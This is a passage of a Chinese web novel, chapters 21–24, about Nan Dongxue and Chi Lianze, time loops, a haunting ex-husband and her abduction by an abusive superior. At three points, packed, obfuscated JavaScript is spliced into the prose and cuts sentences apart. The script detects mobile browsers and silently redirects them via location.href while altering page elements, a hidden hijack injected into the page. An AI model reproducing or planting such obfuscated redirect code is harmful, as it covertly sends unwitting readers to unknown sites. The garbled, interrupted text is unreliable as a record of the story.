南冬雪转身到另一面,跳下了树,缓缓向他走来。 他又忘记了刚刚察觉到的不对劲,欣然沉浸于看着南冬雪快乐的朝自己走来。 同样二十六岁的南冬雪。炽连泽冷眼看着。 “干嘛这么看着我?”南冬雪娇俏可人,眼神里没有半点对他的厌弃。 他认识的南冬雪,不可能是这个样子。 “你太高了,看得我脖子疼,坐下。”南冬雪无情的发号施令。 这才对嘛!炽连泽乖乖坐在梯田边上,想要找点东西给她垫一下,但来不及,只好脱掉羽绒服外套放在地上,拍了拍,讨好的笑,“来坐。” 南冬雪理所应当的享受炽连泽的服务。 “这是几年后的我们吗?” 南冬雪伸手揉揉炽连泽的脑袋,“真聪明,喜欢吗?” 炽连泽歪头看着她,又似乎在看着别的东西,想到了遥远的事情。他有点累,也有点不甘心。面对着南冬雪,和她这样近距离的静静待着,他觉得很不对劲。 “我认输,你赢了,随便你怎么样吧,冬雪。” 这是他第一次认真的、隐隐含着男女之情去唤她的名字。纵然知道她有可能是假的,他不敢去赌。 “嘿~”他无奈的笑,“真遗憾啊!真羡慕她有能力让自己变得幸福,不像我,可怜巴巴的求人家带带我这个笨蛋。” 21. 桃木符 湖边,晚十一点钟,路灯还没有熄灭。天气很冷,人也少,从九点开始,这里已经冷冷清清,不见一个人影。 因为远离居民楼,所以是一个练声的好地方。天气好的时候,常常可以见到特意跑到此地练习的播音主持专业学生,也有老人唱戏,热闹非凡。 南冬雪从招待外国访问学者的餐厅出来之后就来到了这里,从六点等到十点,开始尝试发声。 她的嗓门小,说话声总是被人听不见。宋敏安这个人今天算是专挑她伤处戳。她还没有报复他,先被人捅了一刀。 她离开没多久,方颖老板就给她发了信息,说站在她这边,不要和某些人一般计较。过后还打了电话来试探她的情绪。南冬雪当然说她没有关系,好得很,明天会正常去上班。 所幸方老板是这样的人,不然……南冬雪胡思乱想,要是丢了工作,她会怎么报复那个人呢? 早上老板离开之后,宋敏安把门一关,装模作样一会儿,听见她讲了一句外国语,那双衰老的眼睛就眯起来了,一脸不可信的自顾拿出手机进行验证。 “我是有证书的,您要检查检查吗?”南冬雪翻出有关的证书照片给他看。这完全是为了让他难受。 她知道,这个人瞧不起她,觉得她除了单纯好骗,和美貌,再也没有别的本事。要是她擅长他所不擅长的事情,那就是狠狠地打击他的自尊心了。 宋敏安向后靠在椅子上,抬起右腿架在左腿上,以一副慵懒的上位者姿态打量一件商品。 在他眼里,南冬雪就是一件货物。 她恨。这个看起来斯斯文文、受着正统高等教育、批评起别人来是非分明、道德感极强的儒生,在做着为人所不齿的事情时没有半点羞愧。以前觉得十分迷人的笑容,如今看来十分下□□荡。 “今天很漂亮嘛!”宋敏安去拉南冬雪的手。 南冬雪走到了对面,故作冷静,摆出一副讨债者的姿态。 “我又被你迷住了,这可该怎么办?你要怎么负责?” “那今天要还钱吗?宋主任。” 她恨着自己,再次遇见这个人,竟然什么也不能做。她忍着恨意,对所有人温和有礼,竭尽所能圆满完成任务,那个老家伙竟然如此对她。 可恨的是,她依然无法反击。 此时,已经临近十二点。她很少在外待到这么晚。 那个人也该出现了吧。 她一直在等的幸运。虽然不确定,但是南冬雪愿意投入百分之一的希望,期盼着自己的幸运会出现,或者是炽连泽。 他,还是炽连泽?二者选其一,南冬雪还是毫不犹豫会选择炽连泽。不为别的,她只是不希望把无辜的人牵扯进来。 南冬雪在原地打转,一秒也无法安静下来。时间一分一秒的过去,她开始想要去寻找,尽管一遍遍回想起炽连泽在电话里的声音。 “等我。” 让人无比信服。 身后一阵急促的声音传来。刚刚才转过来的南冬雪,在湖边那条笔直的路上并没有看见任何人影,等听见这声音时,刚一转身,一团黑影便已经在她眼前。 旁边是山。常人不会在里面乱跑,难保逃命的人不会。 他身体上的热量像是一团火球,跟着他快速的靠近,又快速的离去。他戴着兜帽,因为个头挺高,看向她时需要低着头,这样一来,他的脸就隐藏在阴影之中。 南冬雪能感觉到,那个人笑意吟吟的表情,不知是因为认识她,还是因为他本身是一个情绪饱满的人。 “救命救命,他在追我!” 还有一个人。南冬雪扭过头来,看见炽连泽紧随其后,目光却是落在了她身上。一边筋疲力尽的拖着身体追赶,一边扬起了笑脸,欣喜道,“南冬雪,我终于出来了!救我!” 南冬雪下意识去接他即将摔倒的身体,没想到此等行为太过不自量力,一下子被炽连泽扑倒。两人一齐躺在冷冰冰的地上。 “你没事吧?”南冬雪迅速坐起来,一边试图去拉炽连泽起来,一边去望刚刚过去那人的身影。才几秒的时间,他已经跑到很远处了。她想去追,被炽连泽拉住了手。 炽连泽上气不接下气,扶着南冬雪又是咳嗽,又是捂着肚子忍受疼痛。见他这样,南冬雪无法抛下他不管。 “那个人是谁?”南冬雪把炽连泽扶进旁边的小亭子躲寒风。 炽连泽怪怨的看着她,“是张梧桐,也可以是任何人。你想去找他吗?我刚从他的时间循环中逃出来,南冬雪,你一点也不心疼我吗?” 确实。炽连泽灰头土脸,细看的话,下颌处还有几处伤口,手掌一片淤伤,上衣和裤子上皆有磨擦破损的痕迹。 炽连泽这样说话,南冬雪能够理解。在学校的时候,某段时间,同学之间很流行故意装亲近。也就是那时候,炽连泽每天到处喊着他是她的表叔。 她能够忍受这个人的矫情。 “心疼心疼。”南冬雪连忙说。 “这就完了?”炽连泽的声音骤然变大,小孩儿要糖一样无赖。“你别告诉我这就完了?我刚刚被那家伙折磨了一遭。被你那……喜欢的非人类的……某种什么折磨成这样,我早说过了吧,万一我被困在某个时间出不来了,你会怎么办?你能有一点愧疚吗?” 南冬雪认真的瞧着他的脸,不信任全都写在表情上,“和我通话的人是你吗?就在刚刚。” “你给谁打电话自个儿不清楚吗?”炽连泽一句一怼,正得意着,神情忽然严肃起来,“南冬雪,你问这话是什么意思?你是不是知道些什么?” 南冬雪变得冷漠疏离,淡淡道,“我能知道些什么。对不起,张梧桐曾经是我丈夫,但我也可能是受害者。你受了这些无妄之灾,你就算去报警,责任也算不到我头上。就像之前说的,你离我远一点为好。我可不想被人随随便便扣上一顶罪孽深重的帽子,又没有十足的证据。你自己能回家的吧,那我就先走了。” “你刚上大学那年,南冬雪,你是不是被人关进了你们学校后面的废楼一个空仓库里?”炽连泽见南冬雪停下了脚步,便知道答案是肯定的。“我刚刚就是去了那里,捡到了一个护身符,你要不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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走出很远之后,追到张梧桐消失的拐弯处,又往前继续行进。她找了附近的小路,确定到处没有一个人的影子。 暗中给予她幸运的人,或者非人类,是不是存在呢?为什么在炽连泽来到她身边之后就开始现身了呢?为什么好好的突然开始伤害炽连泽?是不是在她的认知之外,那个家伙做着坏事? 她什么都不清楚。她也不愿意因为自己的关系,让炽连泽陷入任何恐惧、危险之中。他原本可以幸福顺遂的过他的日子,干嘛要把他拉进自己的泥潭里来呢? 如果那个人真是罪魁祸首的话,如果真的存在的话…… 南冬雪趴在湖边的栏杆上,张开嘴巴,深呼吸几次,准备大喊。这样的话他会听见的。 “我……” 声音被风淹没。 南冬雪整个身体跟着发力,“我不需要你的任何帮助!别再伤害无辜的人了,求你了好吗?要是你还是出现,我一定会抓住你,然后……” 然后要怎么样?她并不清楚对方是怎样的存在。 “只在我眼前就好了!只伤害我就够了,让我一个人下地狱吧!废物,你敢出来让我看看你的真面目吗?回答我,你这个废物,缩头乌龟,假仁假义,弄虚作假,张牙舞爪,妖言惑众的……亲爱的,我好想你,回来找我!” “我来了,你还爱着我吗?亲爱的。” 一个声音从身后传来。那声音令南冬雪起了一身鸡皮疙瘩。 22. 笑春风 说话的人是炽连泽。 南冬雪从他脸上看不到一丁点张梧桐的影子,但他表明自己就是那个人。痛苦之处就在于此。她怎么要去相信爱了那么久的人现在变成了另一个人的样子?还是她不愿意去靠近的那个人的样子? 她并不高兴。出乎意料,炽连泽感受到了她那柔弱无力的恨意。 “看我笑话开心吗?” 炽连泽委屈,无助,心疼她,想要靠近但不敢,“不是你叫我来的吗?冬雪,我很想你,想和你永远的在一起,好吗?你不想吗?我知道你很爱我。” “炽连泽,你发疯了吗?你在说什么?”南冬雪靠近,把他的脸看得再仔细一些。明明是炽连泽的模样,炽连泽的表情,他为什么在假装另外一个人?一想到那可能的事实,南冬雪咬着唇,马上就要落泪。她又不愿意在炽连泽面前暴露自己的脆弱,偏过头去狠了狠心,一张决绝的脸衬得那双泪眼也变得坚定有力起来。 流泪不是因为脆弱,而是因为要背叛道德的负罪感。 “张梧桐从来不说爱我,也不会宣告我爱他。我们是相依为命、抱团取暖的关系。”南冬雪因为难以坚持这种状态,突然冷笑,以掩饰她真实的崩溃。“我哪有什么资格谈情说爱?对吧,炽连泽,我讨厌你,不想和你有任何关系,你能明白吗?需要我再说一次吗?我讨厌炽连泽,从上到下,从里到外,讨厌炽连泽的每一根头发丝,看到他,我浑身的细胞都开始皱缩了!” “讨厌我的头发丝干什么?”炽连泽挑起眼珠试图去看一眼他的头发。 南冬雪自顾继续控诉,“你也可以讨厌我,恨我,从此谁也不认识谁,世界这么大,只要不刻意见面,不会再遇见的。你听懂了吗?告诉我。” 炽连泽有些无所适从,双手插进口袋又立即拿出来,目光转移到地面上又挪回到南冬雪脸上。她这样的决绝,炽连泽每次都有些害怕。 他轻声说,“到底为什么这么讨厌我?我没有那么差劲吧……难道我在你眼里没有一点优秀的地方吗?” 初现身时是人间惊鸿客,信步昂扬,如今是落寞孤单,欲哭无泪,伤心难辨。 “你说什么?” 南冬雪斥责道,离炽连泽更近一步,一颗脑袋向上仰着,几乎放平了盯着炽连泽。她又想起宋敏安在饭桌上如此让她难堪的画面来,自己有样学样了,看来人都有变坏、欺负别人的潜质,只是时局不利,识时务者为俊杰而已。 如此靠近的距离,这是把诱惑送到嘴边的节奏。 炽连泽眼神微妙的变化。他紧张起来。在时间循环的假象里和南冬雪那么亲近,他还不适应,不敢相信,不敢靠近,现在,他不得不相信。南冬雪主动离他那么近,是主动的。 她好漂亮。她在说什么?要是亲一下会怎么样?好想好想……要是能亲一下就好了,她的眼睛好好看,嘴唇的形状简直让他欲罢不能,它一定很柔软吧?她的皮肤一定有点凉,我会给她暖暖,让她也记住我…… “你在听吗?又跑神了是吗?炽连泽,你别这么肮脏,听见我说话了吗?”南冬雪现在不用伪装,是真的生气了,抬起手打了他的肩膀一下。 小拳拳捶我胸口。不能笑,一定不能笑,她会生气的。炽连泽扭头到另一边,接着仰望天空,回过头来看着南冬雪时,一副“任由你胡闹,我照单全收,没有关系,依然很爱很爱你的表情”说话,“我听着,我听着,你说什么?” 南冬雪气得深呼吸,肩膀不停耸动。 为什么从他的反应中感受到了张梧桐给她的爱意?他是张梧桐,还是炽连泽?她没有办法接受,张梧桐的爱通过炽连泽的身体来给予,也没有办法接受炽连泽像张梧桐一样对她有爱。更令人绝望的是,现在的状况符合哪一种可能,她根本没有办法去证实。她也没有办法认为自己的想法传达到了真正的张梧桐那里。 到底怎么才能摆脱掉那个无形的、拥有非人类力量的存在,让炽连泽不再受其困扰,回归正常生活? “跟我说,我说一句,你跟着说一句。”南冬雪不知哪来的勇气抓住炽连泽的肩膀晃来晃去,如此命令道,“我讨厌南冬雪。” 炽连泽呆呆的,目光紧紧追随南冬雪的脸,“我不讨厌啊,你别忽悠我。我喜欢你。” “我,南冬雪,也讨厌炽连泽。” 炽连泽鬼使神差的,戳了一下南冬雪的额头,“是我啊,你认不出来吗?连我也开始讨厌了吗?” 他忍着给别人准备了惊喜,忍不住偷着乐的笑意。 这是在表明他就是张梧桐了吗?而确确实实不是炽连泽。南冬雪的心终于沉了下来。刚刚还是抱着一点点希望,处于烦躁不知所以中,现在是彻底绝望了。怎么能这么对待炽连泽呢?为什么要毁掉他的人生? “你是张梧桐啊?”南冬雪喃喃,“张梧桐你对我来说已经翻篇了,干嘛要这么做?炽连泽他有什么错?把无辜的人搞成这样,是你的罪,还是我的?” “你刚才不是说讨厌他吗?” 南冬雪冷静到无力,连眼神也失去了某种支撑,软趴趴的窝在一团,“是啊,讨厌他这张脸,他这个人。你这是要怎么办?顶着我讨厌的人的脸,做了背叛我的事情,要求我继续和你玩过家家吗?没有你我也会过得快乐,只是时间问题而已,别觉得自己对我来说不可缺少,离了谁都一样。把他的身体还回去,你实在想要一个人的话,我的一切,你想要的都拿走,不要伤害别人就够了。” “南冬雪,难道我们不能想方设法守住自己的东西吗?干嘛要拱手让人?” 炽连泽云淡风轻的说。 南冬雪不解。他这话的意思,是站在张梧桐,还是炽连泽的角度上能说得出来的话?好像,两个人说出这样的话都没有任何问题。 炽连泽等不及,继续说,“你以前就是这样,南冬雪,这样不行。你得为自己辩解,自己的东西绝对不能让别人抢走。不管他是张梧桐还是什么人,就算最后会失败也不能一开始就放弃啊!你要是害怕的话,不是有我在吗?我也被那混蛋害得不怎么好,我们一起把他挖出来,这样不好吗?” “你是……炽连泽?” 炽连泽为自己的恶作剧成功大声坏笑,“我当然是炽连泽,不然你以为我是你的张梧桐吗?南冬雪,你对他的爱也没有多深刻嘛。抱团取暖,过家家是吧?” 被戏耍的南冬雪怒火中烧,看着幸灾乐祸的炽连泽,她抓住这个人的衣领猛摇。 笑累了的炽连泽双手搭在南冬雪肩膀上,并未制止她的行为,但他那认真的态度却吓住了她。 “你真的很讨厌我吗?” 南冬雪目光躲闪,“你不明白,其实我是讨厌我自己。” 炽连泽抓住她的肩膀轻轻一抖,逼迫她的目光回到自己脸上,神情无比真诚,“我也挺讨厌我自己的,要不,你试着喜欢我,我也试着喜欢你,这样不就解决了?常听人说,夫妻和谐往往都是性格互补的关系,我们不就是这样吗?” 剧情突然发展成这样,南冬雪真的无法应对。一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15091303|162633||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 求爱的人,三言两语就会把她哄进陷阱里去,不管她是不是喜欢他。更何况,这个人是炽连泽。优秀的炽连泽。 南冬雪试图逃离炽连泽的钳制,对方并不允许。 “我知道你喜欢逃避,逃避解决不了问题。”炽连泽难得的展现了他身为男性的魅力,果断决绝,不服从他人意志。“现在该我们报团取暖,一起保护自己了。” “你疯了吗?我们是什么关系,你不知道吗?”南冬雪再次意图逃离,炽连泽突然捂住了心脏,南冬雪知道他时不时会犯心疼的毛病,吓得立刻把人扶住,也不管不顾是不是和他过于亲近了。 炽连泽体型比南冬雪大得多,他自己不走,南冬雪没办法拖着他坐进亭子里去。他又不往地上倒,找了个绝佳的地方用来靠脑袋,南冬雪不敢说什么,还得紧紧抱着他的身体,以防人家整个摔下去,弄出一个脑震荡来。 那绝佳的地方就是南冬雪的脑袋。他太高了,要是埋头靠在她肩膀上,脖子扭得慌,她的脑袋就刚刚好。南冬雪只感觉到头顶像是放了一块牛排,倒没有其他的不适感。 “你说,我们是什么关系?”炽连泽有气无力,声音极其虚弱。 “都什么时候了,还说什么废话?!”南冬雪试图把手放下来去摸口袋里的手机,但一松手就感觉炽连泽要滑下去了。她没有处理这种事的经验,只能依着炽连泽,只要他能好受,怎样都成。“你能不能站住?我打个120吧!你可别害我!” “你别气我就行了。我快要无法呼吸了,南冬雪,快点,告诉我,为什么你不能和我抱团取暖?” 南冬雪急切,说话声像是水花猛烈撞击石头。炽连泽联想着那个画面,想起午睡期间带着南冬雪去树林里摸鱼的那天。 “我们不是亲人吗?我把你当朋友当亲人,你的爷爷奶奶和我亲亲的奶奶爷爷一样,你是我表叔不是吗?你自己口口声声说了很多遍,这多奇怪啊?而且好像是在早恋,被你家大人抓住了我可怎么办?我在说什么啊?喂,你还好吗?” “没有血缘关系不是吗?”炽连泽很是享受。他的身体的确不舒服,但也没有那么严重。“而且我们已经二十六岁了,你在说什么胡话?就算没有爱情,也可以在一起结婚生子,过一辈子。这是你说的。我好像要晕过去了,南冬雪,我有点难受,说点好听的,行不行?” “哎,你不能就这样晕过去啊!我先放手了,还是打电话好了。你要站好,我要打个电话。” 南冬雪还没放手,炽连泽的身体已经不受控制的倒下去了。她这才明白过来,要不是他坚持着,她根本没有力量稳稳扶住这么大只的一具身体。 幸好她快了一步,扶住炽连泽的脑袋,让他枕在自己怀里。 炽连泽面色苍白,嘴唇更白,紧紧闭着眼睛说话。 “我很需要你,南冬雪,你到底为什么非要拒绝我?” 南冬雪正打着120电话,听见他说这句话。挂掉电话后,她轻轻拍了拍炽连泽的脸,确认他还清醒着,能够睁开眼睛,只是身体很虚弱,快要坚持不住了。 对着这样一张帅脸,这么一个除了学习成绩不好几乎没有短板的人,怎么可能不动心? “谁能拒绝得了你?是我不愿意再回忆起过去的我,我想远离会让我想起过去的一切人和事。这样才不会太痛苦,才会轻松的昂首挺胸继续我的新生活。你根本就不了解我,要是你知道我是怎样一个人,绝对会避之不及。” “那你给我一个机会多多了解你,行吗?” 23. 戏凤 炽连泽醒来,发现自己身在医院,手机放在床头,不见南冬雪的身影。他给南冬雪打了电话,但是对方迟迟不接,于是起身出门去找。 门打开,再关上。 有些不对劲。 他待在急诊部的病房,一出来眼前是住院部。 走廊上只有一个中年男人在打电话。炽连泽从他身后经过,向窗外看去,太阳正在正空,大概是下午一两点钟。 他已经睡了这么久了吗?炽连泽有些难以相信。看了一眼手机的时间,确实是下午两点。 “别急,冬雪。” 身后的男人叫出了熟悉的名字,炽连泽的注意力被吸引过去。他回头看,率先发现了走廊尽头的门框上那块电子钟,上面显示的时间是2024年2月2日。 他的时间又错乱了。 错乱的起因是什么?医院里,有关冬雪,发生过什么事情?炽连泽假装在窗边看风景,偷听那人说话。 “这样吧,你父亲这边有人守着,你放心,现在重要的是手术费。要是在今天还是凑不齐,下次手术就不知道要排到什么时候,医生建议要尽快。” “别急别急,你信得过我吗?先把钱转给我……” “对,对,有我照料,你放心。” 最近的那间病房的门开了。男人立即找了借口挂掉电话,转身快走几步进了病房,随即推出来一个坐着轮椅的中年女人,身后跟着他们的女儿。 这是一家三口。炽连泽如此确定,是因为他们一家人几乎共用一张脸。 那个男人所说的“冬雪”,是指南冬雪吗? 炽连泽觉得自己不会无缘无故走到这里来。南冬雪的父亲是叫什么来着?听他刚刚的讲电话内容,如果他指的是南冬雪的话,那么她的父亲一定是在医院住院部某个病房里等着做手术。 他打开手机,对着联系人的页面发呆。这个时候应该给谁打电话?万一真是南冬雪她父亲,惹得她难过怎么办?还是给奶奶打个电话,问问南冬雪的父亲叫什么名字好了。 正要点击奶奶的电话号码,手机上出现了来电显示。 是南冬雪的名字。 他被困废楼仓库的时候,她打来了电话。现在他独自闯进了不知所谓的时间,南冬雪又打来了电话。毫无疑问,肯定是2025年1月8号的南冬雪打的电话。因为2024年2月,他们还没有相遇。 电话顺利接通。 “你跑哪里去了?我刚买了饭回来,你就不见了。”南冬雪说。 “我这里的时间是2024年2月2日下午两点。”炽连泽期待着南冬雪大惊小怪。她终于亲眼看到了自己稀里糊涂被送往别的时间,对张梧桐的不满肯定更深了吧。 昨晚晕倒之前,他和南冬雪的对话,现在他还记得清清楚楚,不仅如此,他还录了音。如此阴险行为,是为了防止南冬雪出尔反尔。只可惜,只差一步,他或许可以诱她对自己做出准确的承诺。 “你根本就不了解我,要是你知道我是怎样一个人,绝对会避之不及。” 如果这是他做得不好的地方,他愿意努力去弥补,好好的了解南冬雪到底是怎样一个人。 “你马上回来,你跑那里去做什么?”南冬雪声音急切。 挨了训,炽连泽不服道,“我又不是自己想要来的。重要的事,听我说,我刚刚听到一个男的说冬雪冬雪的,不知道是不是你。不过我觉得如果不是你,我好好的被那个人送到这里是有什么目的,对吧?所以你帮我确认一下,这一天你记得吗?你一定不要着急,不要感情用事,冷静下来,现在我在这里,说不定可以改变一些事情,你想要我怎么做,我听你指挥。” 他听奶奶说过,南冬雪的父亲大概在这个时间,因为手术费用的问题导致贻误了最佳时机,最后送了命。 良久,他听见南冬雪回答说,“你什么都不用帮我做,试试看原路返回的话能不能回来。” “那对不起了,冬雪,如果能救你父亲的话,我必须去试一下。” 炽连泽准备挂断电话,听见南冬雪着急喊叫,“你马上回来,我都听你的,你想怎样就怎样!不要去做任何多余的事。” “你是不是知道些什么?要是做了会怎样?未来会被改变吗?世界会乱套吗?他张梧桐也不见得有担心这个。” “你要是做多余的事情,现在不马上回来,我们马上绝交。” 谁能想到,有朝一日,她也可以用自己威胁别人了。 这可不能啊!炽连泽忙答应,“好,好,别绝交,我听你的。” 这一招有效。南冬雪心里却不自在。她没有做好准备陷入这种正常的男女感情中。张梧桐和炽连泽不一样。 “别挂电话,一边走一边告诉我你的位置,你看见了什么,有什么标志物?我在这边看看能不能找到你。” “我刚刚一推门进来就到了住院部四楼。窗外有两棵比四楼还高的松树,可以看到对面的综合部大楼,南冬雪,你猜我看见什么了?” “什么?”南冬雪配合着问道。 “汀华三甲医院,这是我们市里的医院吗?我怎么没听说过。你昨晚把我送到哪里来了?” 南冬雪呆了。不仅是时间,连空间也能跨越。之前是她和炽连泽一起陷入了过去的时间,又因为是第一次,也没有受到任何伤害,所以恢复正常之后并没有多少恐惧。现在想着炽连泽一个人被带进了不属于他的地方,未知的恐惧感犹如潮水一样涌来。 2024年2月2日,父亲在汀华三甲医院等待手术。当时她在外地,遇上台风天气,交通中断,无法赶到。两天后,老家的亲戚把父亲又送了回去。 这真的都是张梧桐的杰作吗?他到底想要干什么?她只想在完全新鲜的人群里重新建立社会关系,由此开启新生活,可不想被人挖开了过去,将她反复鞭尸。 “你忘了吗?那是你的爷爷奶奶,也是我的老家的医院。现在,我和你相隔了三百里,炽连泽,找到你过去时走的路了吗?” “嗯,到了,我是推开了这扇门才进来的。” “小心点,试一试。” 南冬雪的声音像是一杯夏日午后的一杯西瓜汁,柔柔的灌进炽连泽燥热不安的身体里去,把那些不舒爽的感觉慢慢抚平。 炽连泽又想把这声音记录下来,但他已经错过了那一瞬间,只能反复回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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炽连泽一直走到双方互相看不见的距离。手机仍然在通话中,但双方沉默着。炽连泽不知道该说些什么。 某个人故意让他看见这些,目的何在?是为了救南冬雪,还是为了挑拨离间,让他觉得南冬雪是怪胎。 好好的一个女孩子,多么优秀的一个女孩子,干嘛去喜欢一个老男人?那个人有老婆有女儿。南冬雪看起来只比他的女儿大几岁而已。 南冬雪和张梧桐在一起了,是不是说明他们已经断了关系?那问问的话,有关系吗? 炽连泽刚要说话,听见电话里南冬雪的声音,“我知道你在什么地方了。你上次是怎么出来的?炽连泽,你有没有发现什么规律?” “我猜,南冬雪,那个男人是不是骗了你的钱?” “你之前说时间错位是和门有关,但你刚刚过了一道门,没有回来,我也想不出该怎么办。炽连泽,你现在怎么样?情绪还好吗?身体还好吗?” “我在生气。南冬雪,我不想回去了,你不是说我不了解你吗?恰好,我现在就来看看你到底是一个什么样的人!” 24. 见君心 被炽连泽看到了。 她和宋敏安像恋人一样拥抱的画面。 这是炽连泽掀开的第一道面纱。南冬雪不是一个纯洁无瑕,规规矩矩的单纯女孩。炽连泽会这么想吗?男人们大概都会这么想的。 南冬雪觉得她那张脸变得令人厌恶了,可难过了几分钟之后,她快速的顿悟了。她一点儿也不后悔。从小到大,她所做的事情都是自己深思熟虑过的,从来不会有后悔这一说。 别人喜欢怎么看她,随便怎么看好了。人和人本来就不一样,她现在已经不期待有人能够理解她。 现在重要的事情是,炽连泽怎么返回到这里。刚刚他气冲冲说完电话就挂掉了,接着她怎么打回去都没有回应。 遇见这样的怪事,连炽连泽也不知道应该找谁求救,更别说她了。 她以炽连泽待过的病床为中心,多次在医院各处寻找,期待能够获得一些信息,或者看到炽连泽突然好好的出现了。 每次转过一个弯,都会怀着惊喜的心情希望能够看到他。但是没有。周而复始,足足经过了一个小时。她这才意识到如此行为不过是骗自己而已。 南冬雪回到炽连泽的病房去,神情恹恹的,低头走路。迎面一个人停下来挡住她的去路。 抬头,是不愿意看到的人。南冬雪柔软无助的眼神慢慢伸出了尖刀。 “看来你过得不是很好。”宋敏安顶着他那令人不禁油然而生尊重的皮囊,说出了幸灾乐祸的欠扁之言。 “我很好,宋主任有事吗?今天也想还钱吗?”南冬雪可可爱爱、纯良无辜的笑着。她也从宋敏安那里学到了如何把正派者气死的本事。只是要做到这一点,可真不容易。她几乎恨不能把这个人的脑袋按在墙上狠狠撞上几下。但她也十分清楚,这辈子永远也做不到这样的事情。自己从宋敏安那里受到的伤害也无法清清白白的讨回来。 两人的位置互换了似的,宋敏安的眼神狠地像是要剜人。 南冬雪无语的笑了,“宋主任,还劳烦您逗我笑,不得不说,你这副表情真的好笑,就像是那什么?像是干巴巴的酸臭老黄瓜瞪着眼睛求人给他浇水。” 宋敏安低了头,抬手用食指在嘴唇上轻轻擦过,又扶了扶并没有下滑的眼镜,再看着南冬雪时,恢复了一如既往的温文尔雅的儒生样子。 “冬雪,你听我说,我老婆刚刚去世。我们找个地方好好谈谈,行吗?” 南冬雪后退一步,故意用夸张的嫌弃眼神看着他回答,“别了,宋主任,哪有人愿意在一把断头刀下掉两次脑袋呢?” “你现在说话怎么这么尖锐?”宋敏安露出善良老人的慈祥微笑。 南冬雪并不想再和这个人多说一句话。她要远离过去的一切污秽,开始自己的新生活。如果污秽缠着她不放,纵然是柔弱的她,也会抱着同归于尽的想法带着那污秽一起毁灭。 至于炽连泽该怎么办呢?他会怎么看她?他自己能够回到这里来吗?她应该怎么办? 南冬雪根本毫无办法,只能在急诊室外面等着。她也在思考,要不要一走了之。炽连泽的事情,或许是因她而起,但她实在无能为力去帮忙。她也实在害怕炽连泽回来之后用鄙夷的眼神看她。 这一思考,就直接到了晚上八点。炽连泽仍然没有踪影。她望了望炽连泽的病床,却发现原本床头放着的他的外套不见了。南冬雪问了护士,对方有些不耐烦地说,“他早都走了,你怎么现在还在这?” 他早都走了,没让她发现。 这下,炽连泽给了她做出选择的答案。南冬雪走出医院大门时,已经是晚上九点。夜雾深重,几乎连马路对面的店铺也看不清楚。 一辆车停在她面前。南冬雪虽然情绪低落,但习惯性的警戒心起,连忙往车子来的反方向快步走,甚至想要到路对面去。她觉得这样至少能为自己赢得逃跑的时间。而且对面人多。 践行很多次的危险规避方法没想到今天很快就得到了论证。车上的男人下来,径直跑到马路中间,不用绕到车的另一边去反而省下了很多时间。他一抓住南冬雪的胳膊便往车里拖,等到南冬雪的挣扎告一段落,终于让对方停下来时,是这人自己停下来了。 南冬雪坐在地上,看见宋敏安的夜雾里阴沉沉的笑。她伺机逃跑,又被宋敏安一把抓回,狠狠撞在车身上。南冬雪立刻感到整个背部的疼痛渗透到胸腔,接着是大脑,在这几秒的时间里失去了行动力。 接着,宋敏安利落的一巴掌将南冬雪的意识彻底关进黑暗之中。 她还有感觉,只是无法强行支撑身体有所行动,连抬起眼皮也觉得困难。她知道自己被塞进了车里,然后车子启动,开始快速的往前行驶。 似乎过了很久很久。她已经彻底失去了最后挣扎的力气。在这之前,她想,会不会这次,自己的人生真的完全结束了? 不自量力的真以为至少能同归于尽。南冬雪在这一刻释怀了,看清了所谓的命运。她不害怕,不幽怨,不说一句话,默默的接受这一切。 街上的灯光呈现出诡异的红色。没有下雨,但地面上是湿的。白天里平整的路面,在此时形成了一个个水洼,映射着那红色的光。雾气重重的压在头顶,好似要把什么给压榨出来,一直下沉。 两辆白色的车左右夹击,紧紧咬着那辆黑车的屁股。 它快,白色的尾巴也快,它慢,白色的尾巴也慢。 其中一辆想要超车,挡在它前头。宋敏安很快便意识到这两辆车是冲他来的。因为什么?他可没有得罪什么人啊!整天扮着好人,小心翼翼的伺候上上下下所有人,他也是需要发泄内心的不满的。偶尔说句硬气的话也被人找上麻烦了? 宋敏安趁机掉头,不管不顾的在这种夜色里疯狂开着快车,又拐进比较偏僻的小路上去,才慢慢的减缓速度。从后视镜里什么都看不到,他熄灭车灯,静静地等了大概半个小时,没有任何车辆或者人经过,他这才确定没有人跟上来,便放松了警惕,继续前进。 “就你这样的也敢跟我吹胡子瞪眼。”不知道宋敏安是在骂那两辆白车的主人,还是在和后座上的南冬雪说话。“一个无父无母,无人照料的蠢货,就凭着几分姿色,真不知道自己是谁了?你以为自己能做成什么事?以后乖乖的待在家里,我挣钱给你花,这不是你这样的女人梦寐以求的吗?要是乖乖听话,我怎么会对你动手,搞得我好像是个十恶不赦的坏人。” 南冬雪听得真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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他没有注意到,已经来到他车窗边的那个人是从哪里冒出来的,紧锁的车门又是怎么被他一拉就打开的。当他被那个人拖出车座,甩在地上的时候,才看清这个人的脸。 “原来是炽连泽炽先生。” 宋敏安说话间看见前后夹击他的车子的主人此时也都向他走来,围成一圈,眼中钉一样看着他。 “我还采访过你呢!从阿尔卑斯山上找到了遇难者,独自一人把他从雪山上背下来。还以为你是个多么伟大的英雄呢!” 